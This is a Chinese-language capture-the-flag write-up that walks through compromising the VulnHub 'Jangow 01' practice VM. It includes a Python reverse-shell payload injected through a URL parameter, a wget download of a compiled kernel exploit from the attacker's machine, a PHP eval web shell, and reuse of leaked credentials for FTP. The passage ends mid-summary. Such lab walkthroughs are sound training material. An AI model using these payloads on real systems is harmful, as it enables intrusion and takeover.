0x00 准备
下载链接:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova
介绍:
Difficulty: easy
The secret to this box is enumeration! Inquiries jangow2021@gmail.com
This works better with VirtualBox rather than VMware ## Changelog 2021-11-04 - v1.0.1 2021-11-01 - v1.0.0
0x01 主机信息收集
kali本机的ip:192.168.119.128
探测目标主机IP:netdiscover -i eth0 -r 192.168.119.0/24
目标主机IP:192.168.119.134
探测目标主机开放端口:nmap -sV -p 1-65535 -A 192.168.119.134
开放了21端口,vsftp3.0.3版本。80端口,apache2.4.18版本。
0x02 站点信息收集
访问80端口,探测站点的目录结构:dirsearch -u 192.168.119.134
一个site目录,还有/.backup目录。
进入site目录是一个站点的首页:
再看一下/.backup页面:
看到了数据库相关的信息,并且是mysql数据库,这里保存一下获取到的信息:
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
0x03 漏洞查找与利用
1. 命令执行
看站点上的信息,右上角Menu菜单这里有三个菜单,About,Project,Buscar。
点击About时,URL是:http://192.168.119.134/site/#about
点击Project时,URL是:http://192.168.119.134/site/#projects
点击Buscar时,URL是:http://192.168.119.134/site/busque.php?buscar=
有个等号,并且页面是空白页:
考虑传参。传了个1,还是空白页。换思路,传了个ifconfig,有查出网络配置的信息:
又换了个whoami:
2. 反弹shell
这里有命令执行了,尝试一下反弹shell。
先在kali中监听端口9898:nc -lvvp 9898
再在浏览器中访问:http://192.168.119.134/site/busque.php?buscar=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",9898));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
结果一直无法监听。
改成443端口就可以监听成功。
先在kali中监听端口443:nc -lvvp 443
再在浏览器中访问:http://192.168.119.134/site/busque.php?buscar=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
监听成功:
3. 提权
查看一下系统的相关信息。
查看内核版本:uname -a
查看发行版本:lsb_release -a
内核版本是ubuntu 4.4.3-31 ,发行版本是 ubuntu 16.04。
搜索一下相关的漏洞:searchsploit Ubuntu 4.4.0-31
这里我们要进行提权,所以选择45010.c这个试一下。
这个脚本的完整路径是/usr/share/exploitdb/exploits/linux/local/45010.c
编译这个脚本:gcc /usr/share/exploitdb/exploits/linux/local/45010.c -o abc
接下来就是将abc这个文件传到目标主机上。
在kali机器上用python创建一个简单的http服务器:python2 -m SimpleHTTPServer 443
(由于靶机的限制,这里只能用443端口)
在靶机上,先进入临时目录:cd /tmp
再执行:wget http://192.168.119.128:443/abc
这时候如果直接运行abc的话,会提示权限不足。所以先给这个文件加一个执行权限:chmod +x abc
结果提示GLIBC_2.34没有找到,这是因为编译是在kali下面完成的,是这个版本,但是目标主机没有这个版本。所以应该直接把编译前的文件传到目标靶机中,在靶机中编译。
在kali中,把45010.c移动到开http服务的目录下:cp /usr/share/exploitdb/exploits/linux/local/45010.c .
在靶机的tmp目录下执行:wget http://192.168.119.128:443/45010.c
编译这个文件:gcc 45010.c -o exp
运行exp文件:./exp
提权成功
4. 补充
4.1 其他思路
做完后,参考了前辈们的文章,在目标主机给buscar参数传值进行命令执行的时候,可以上传一句话:echo '<?php eval($_POST["pass"]);' > shell.php
再用蚁剑连接:http://192.168.119.134/site/shell.php
在这里进行传文件等操作。
另外,还可以在wordpress目录下查看配置文件 config.php的内容,这里面也有一对账号密码。这样就收集到了两对账号密码。在前面端口扫描的时候开放了ftp服务,可以尝试用这两对账号密码进行frp登录尝试:ftp 192.168.119.134
backup文件中的账号密码可以登录成功。
4.2 问题
在反弹shell的时候,只能监听443端口。这里应该是因为目标主机的防火墙或系统策略限制目标主机必须使用特定的出站端口,若目标主机强制出站端口为 443,则攻击者必须监听在 443。
0x04 总结
主机信息收集:
- netdiscover探测目标主机ip。
- nmap探测开放的端口和服务。
站点信息收集:
- 扫描站点目录。
- 发现账号密码敏感信息。
- 发现命令执行的点。
漏洞利用: